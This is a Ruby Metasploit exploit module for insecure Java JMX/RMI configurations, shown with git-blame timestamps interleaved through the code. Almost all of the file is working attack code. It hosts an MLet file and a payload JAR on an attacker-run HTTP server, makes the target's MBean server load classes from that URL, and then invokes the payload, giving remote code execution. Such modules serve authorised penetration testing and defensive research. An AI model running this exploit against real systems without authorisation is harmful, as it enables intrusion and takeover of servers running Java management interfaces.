2015-01-15 16:41:37 -06:00
|
|
|
##
|
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
2015-02-10 11:55:14 -06:00
|
|
|
include Msf::Java::Rmi::Client
|
2015-01-15 16:41:37 -06:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
2015-01-15 17:57:22 -06:00
|
|
|
'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
|
2015-01-15 16:41:37 -06:00
|
|
|
'Description' => %q{
|
2015-01-15 17:57:22 -06:00
|
|
|
This module takes advantage a Java JMX interface insecure configuration, which would
|
|
|
|
|
allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
|
|
|
|
|
disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
|
|
|
|
|
interfaces with authentication enabled will be vulnerable only if a weak configuration
|
2015-01-21 00:14:46 -06:00
|
|
|
is deployed (allowing to use javax.management.loading.MLet, having a security manager
|
|
|
|
|
allowing to load a ClassLoader MBean, etc.).
|
2015-01-15 16:41:37 -06:00
|
|
|
},
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
|
|
|
|
'Braden Thomas', # Attack vector discovery
|
|
|
|
|
'juan vazquez' # Metasploit module
|
|
|
|
|
],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
|
|
|
|
|
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi']
|
|
|
|
|
],
|
|
|
|
|
'Platform' => 'java',
|
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
|
'Privileged' => false,
|
|
|
|
|
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
|
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'WfsDelay' => 10
|
|
|
|
|
},
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'Generic (Java Payload)', {} ]
|
|
|
|
|
],
|
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'DisclosureDate' => 'May 22 2013'
|
|
|
|
|
))
|
|
|
|
|
|
|
|
|
|
register_options([
|
2015-01-21 00:36:34 -06:00
|
|
|
Opt::RPORT(1617)
|
2015-01-15 16:41:37 -06:00
|
|
|
], self.class)
|
2015-01-15 17:57:22 -06:00
|
|
|
|
2015-01-15 16:41:37 -06:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
if request.uri =~ /mlet$/
|
2015-01-21 00:36:34 -06:00
|
|
|
jar = "#{rand_text_alpha(8 + rand(8))}.jar"
|
2015-01-15 16:41:37 -06:00
|
|
|
|
|
|
|
|
mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" "
|
|
|
|
|
mlet << "archive=\"#{jar}\" "
|
2015-01-21 00:36:34 -06:00
|
|
|
mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
|
2015-01-15 16:41:37 -06:00
|
|
|
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
|
|
|
|
|
send_response(cli, mlet,
|
|
|
|
|
{
|
|
|
|
|
'Content-Type' => 'application/octet-stream',
|
|
|
|
|
'Pragma' => 'no-cache'
|
|
|
|
|
})
|
2015-01-20 20:44:10 -06:00
|
|
|
|
|
|
|
|
print_status("Replied to request for mlet")
|
2015-01-15 16:41:37 -06:00
|
|
|
elsif request.uri =~ /\.jar$/i
|
|
|
|
|
p = regenerate_payload(cli)
|
|
|
|
|
jar = p.encoded_jar
|
|
|
|
|
paths = [
|
|
|
|
|
["metasploit", "JMXPayloadMBean.class"],
|
|
|
|
|
["metasploit", "JMXPayload.class"],
|
|
|
|
|
]
|
|
|
|
|
jar.add_files(paths, [ Msf::Config.data_directory, "java" ])
|
|
|
|
|
|
|
|
|
|
send_response(cli, jar.pack,
|
|
|
|
|
{
|
|
|
|
|
'Content-Type' => 'application/java-archive',
|
|
|
|
|
'Pragma' => 'no-cache'
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
print_status("Replied to request for payload JAR")
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2015-01-20 20:51:20 -06:00
|
|
|
def check
|
2015-01-21 00:14:46 -06:00
|
|
|
connect
|
2015-01-20 20:51:20 -06:00
|
|
|
|
2015-01-21 00:14:46 -06:00
|
|
|
unless is_rmi?
|
2015-01-20 20:51:20 -06:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
|
end
|
|
|
|
|
|
2015-01-21 00:14:46 -06:00
|
|
|
mbean_server = discover_endpoint
|
|
|
|
|
disconnect
|
|
|
|
|
if mbean_server.nil?
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
|
end
|
|
|
|
|
|
2015-02-24 05:24:09 -06:00
|
|
|
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
2015-01-21 00:14:46 -06:00
|
|
|
unless is_rmi?
|
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
jmx_endpoint = handshake(mbean_server)
|
|
|
|
|
disconnect
|
|
|
|
|
if jmx_endpoint.nil?
|
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
|
end
|
2015-01-20 23:44:33 -06:00
|
|
|
|
2015-01-21 00:14:46 -06:00
|
|
|
Exploit::CheckCode::Appears
|
2015-01-20 20:51:20 -06:00
|
|
|
end
|
|
|
|
|
|
2015-01-15 16:41:37 -06:00
|
|
|
def exploit
|
2015-01-21 00:36:34 -06:00
|
|
|
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
|
2015-01-20 20:44:10 -06:00
|
|
|
connect
|
|
|
|
|
|
2015-01-20 20:51:20 -06:00
|
|
|
print_status("#{peer} - Sending RMI Header...")
|
2015-01-20 23:44:33 -06:00
|
|
|
unless is_rmi?
|
2015-01-21 00:07:00 -06:00
|
|
|
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
|
2015-01-20 20:44:10 -06:00
|
|
|
end
|
|
|
|
|
|
2015-01-20 23:44:33 -06:00
|
|
|
print_status("#{peer} - Discoverig the JMXRMI endpoint...")
|
|
|
|
|
mbean_server = discover_endpoint
|
2015-01-20 20:44:10 -06:00
|
|
|
disconnect
|
|
|
|
|
if mbean_server.nil?
|
2015-01-20 23:44:33 -06:00
|
|
|
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
|
|
|
|
|
else
|
2015-01-21 00:07:00 -06:00
|
|
|
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
|
2015-01-20 20:44:10 -06:00
|
|
|
end
|
|
|
|
|
|
2015-02-24 05:24:09 -06:00
|
|
|
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
2015-01-21 00:07:00 -06:00
|
|
|
unless is_rmi?
|
|
|
|
|
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
|
2015-01-15 17:57:22 -06:00
|
|
|
end
|
|
|
|
|
|
2015-01-21 00:07:00 -06:00
|
|
|
print_status("#{peer} - Proceeding with handshake...")
|
|
|
|
|
jmx_endpoint = handshake(mbean_server)
|
|
|
|
|
if jmx_endpoint.nil?
|
|
|
|
|
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
|
2015-01-15 17:57:22 -06:00
|
|
|
else
|
2015-01-21 00:07:00 -06:00
|
|
|
print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
|
2015-01-15 16:41:37 -06:00
|
|
|
end
|
|
|
|
|
|
2015-01-21 00:07:00 -06:00
|
|
|
print_status("#{peer} - Loading payload...")
|
|
|
|
|
unless load_payload(jmx_endpoint)
|
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
|
2015-01-15 16:41:37 -06:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
print_status("#{peer} - Executing payload...")
|
2015-03-23 15:48:10 -05:00
|
|
|
send_jmx_invoke(
|
2015-03-18 15:37:07 -05:00
|
|
|
object_number: jmx_endpoint[:object_number],
|
|
|
|
|
uid_number: jmx_endpoint[:uid].number,
|
|
|
|
|
uid_time: jmx_endpoint[:uid].time,
|
|
|
|
|
uid_count: jmx_endpoint[:uid].count,
|
2015-01-21 00:36:34 -06:00
|
|
|
object: "#{@mlet}:name=jmxpayload,id=1",
|
2015-01-21 00:07:00 -06:00
|
|
|
method: 'run'
|
2015-01-15 16:41:37 -06:00
|
|
|
)
|
2015-01-20 23:44:33 -06:00
|
|
|
disconnect
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def is_rmi?
|
|
|
|
|
send_header
|
|
|
|
|
ack = recv_protocol_ack
|
|
|
|
|
if ack.nil?
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
true
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def discover_endpoint
|
2015-03-23 10:21:37 -05:00
|
|
|
ref = send_registry_lookup(name: 'jmxrmi')
|
|
|
|
|
return nil if ref.nil?
|
2015-01-20 23:44:33 -06:00
|
|
|
|
2015-03-23 10:21:37 -05:00
|
|
|
unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub'
|
|
|
|
|
vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{ref[:object]}")
|
2015-01-20 23:44:33 -06:00
|
|
|
return nil
|
|
|
|
|
end
|
|
|
|
|
|
2015-03-23 10:21:37 -05:00
|
|
|
ref
|
2015-01-20 23:44:33 -06:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def handshake(mbean)
|
2015-03-23 17:06:51 -05:00
|
|
|
begin
|
|
|
|
|
ref = send_new_client(
|
|
|
|
|
object_number: mbean[:object_number],
|
|
|
|
|
uid_number: mbean[:uid].number,
|
|
|
|
|
uid_time: mbean[:uid].time,
|
|
|
|
|
uid_count: mbean[:uid].count
|
|
|
|
|
)
|
|
|
|
|
rescue ::Rex::Proto::Rmi::Exception => e
|
|
|
|
|
vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}")
|
2015-01-20 23:44:33 -06:00
|
|
|
return nil
|
|
|
|
|
end
|
|
|
|
|
|
2015-03-23 17:06:51 -05:00
|
|
|
ref
|
2015-01-15 16:41:37 -06:00
|
|
|
end
|
|
|
|
|
|
2015-01-20 20:51:20 -06:00
|
|
|
def load_payload(conn_stub)
|
2015-01-21 00:07:00 -06:00
|
|
|
vprint_status("#{peer} - Getting JMXPayload instance...")
|
2015-01-20 23:44:33 -06:00
|
|
|
|
2015-03-23 17:06:51 -05:00
|
|
|
begin
|
|
|
|
|
res = send_jmx_get_object_instance(
|
|
|
|
|
object_number: conn_stub[:object_number],
|
|
|
|
|
uid_number: conn_stub[:uid].number,
|
|
|
|
|
uid_time: conn_stub[:uid].time,
|
|
|
|
|
uid_count: conn_stub[:uid].count,
|
|
|
|
|
name: "#{@mlet}:name=jmxpayload,id=1"
|
|
|
|
|
)
|
|
|
|
|
rescue ::Rex::Proto::Rmi::Exception => e
|
|
|
|
|
case e.message
|
|
|
|
|
when 'javax.management.InstanceNotFoundException'
|
|
|
|
|
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
|
|
|
|
|
return load_payload_from_url(conn_stub)
|
|
|
|
|
else
|
|
|
|
|
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}")
|
|
|
|
|
return false
|
|
|
|
|
end
|
2015-01-20 23:44:33 -06:00
|
|
|
end
|
2015-03-23 17:06:51 -05:00
|
|
|
|
|
|
|
|
|
|
|
|
|
return false if res.nil?
|
|
|
|
|
|
|
|
|
|
true
|
2015-01-20 23:44:33 -06:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def load_payload_from_url(conn_stub)
|
2015-01-21 00:07:00 -06:00
|
|
|
vprint_status("Starting service...")
|
2015-01-15 16:41:37 -06:00
|
|
|
start_service
|
|
|
|
|
|
2015-01-21 00:07:00 -06:00
|
|
|
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
|
2015-03-23 15:48:10 -05:00
|
|
|
|
2015-03-23 17:06:51 -05:00
|
|
|
begin
|
|
|
|
|
res = send_jmx_create_mbean(
|
|
|
|
|
object_number: conn_stub[:object_number],
|
|
|
|
|
uid_number: conn_stub[:uid].number,
|
|
|
|
|
uid_time: conn_stub[:uid].time,
|
|
|
|
|
uid_count: conn_stub[:uid].count,
|
|
|
|
|
name: 'javax.management.loading.MLet'
|
|
|
|
|
)
|
|
|
|
|
rescue ::Rex::Proto::Rmi::Exception => e
|
|
|
|
|
case e.message
|
|
|
|
|
when 'javax.management.InstanceAlreadyExistsException'
|
|
|
|
|
vprint_good("#{peer} - javax.management.loading.MLet already exists")
|
|
|
|
|
res = true
|
|
|
|
|
when 'java.lang.SecurityException'
|
|
|
|
|
vprint_error("#{peer} - The provided user hasn't enough privileges")
|
|
|
|
|
res = nil
|
|
|
|
|
else
|
|
|
|
|
vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}")
|
|
|
|
|
res = nil
|
|
|
|
|
end
|
|
|
|
|
end
|
2015-01-21 00:07:00 -06:00
|
|
|
|
2015-03-23 17:06:51 -05:00
|
|
|
if res.nil?
|
2015-01-21 00:07:00 -06:00
|
|
|
vprint_error("#{peer} - The request to createMBean failed")
|
|
|
|
|
return false
|
|
|
|
|
end
|
|
|
|
|
|
2015-03-23 17:06:51 -05:00
|
|
|
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
|
|
|
|
|
begin
|
|
|
|
|
res = send_jmx_get_object_instance(
|
|
|
|
|
object_number: conn_stub[:object_number],
|
|
|
|
|
uid_number: conn_stub[:uid].number,
|
|
|
|
|
uid_time: conn_stub[:uid].time,
|
|
|
|
|
uid_count: conn_stub[:uid].count,
|
|
|
|
|
name: 'DefaultDomain:type=MLet'
|
|
|
|
|
)
|
|
|
|
|
rescue ::Rex::Proto::Rmi::Exception => e
|
|
|
|
|
vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}")
|
2015-01-21 00:07:00 -06:00
|
|
|
return false
|
2015-01-15 16:41:37 -06:00
|
|
|
end
|
|
|
|
|
|
2015-03-23 17:06:51 -05:00
|
|
|
if res.nil?
|
|
|
|
|
vprint_error("#{peer} - The request to GetObjectInstance failed")
|
2015-01-21 00:07:00 -06:00
|
|
|
return false
|
2015-01-15 16:41:37 -06:00
|
|
|
end
|
|
|
|
|
|
2015-01-21 00:07:00 -06:00
|
|
|
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
|
2015-01-15 16:41:37 -06:00
|
|
|
|
2015-03-23 17:06:51 -05:00
|
|
|
begin
|
|
|
|
|
res = send_jmx_invoke(
|
|
|
|
|
object_number: conn_stub[:object_number],
|
|
|
|
|
uid_number: conn_stub[:uid].number,
|
|
|
|
|
uid_time: conn_stub[:uid].time,
|
|
|
|
|
uid_count: conn_stub[:uid].count,
|
|
|
|
|
object: 'DefaultDomain:type=MLet',
|
|
|
|
|
method: 'getMBeansFromURL',
|
|
|
|
|
args: { 'java.lang.String' => "#{get_uri}/mlet" }
|
|
|
|
|
)
|
|
|
|
|
rescue ::Rex::Proto::Rmi::Exception => e
|
|
|
|
|
vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
|
2015-01-21 00:07:00 -06:00
|
|
|
return false
|
2015-03-23 17:06:51 -05:00
|
|
|
ensure
|
|
|
|
|
vprint_status("Stopping service...")
|
|
|
|
|
stop_service
|
2015-01-15 16:41:37 -06:00
|
|
|
end
|
|
|
|
|
|
2015-03-23 17:06:51 -05:00
|
|
|
if res.nil?
|
|
|
|
|
vprint_error("#{peer} - The call to getMBeansFromURL failed")
|
2015-01-21 00:07:00 -06:00
|
|
|
return false
|
2015-01-15 16:41:37 -06:00
|
|
|
end
|
|
|
|
|
|
2015-03-23 17:06:51 -05:00
|
|
|
true
|
2015-01-15 16:41:37 -06:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
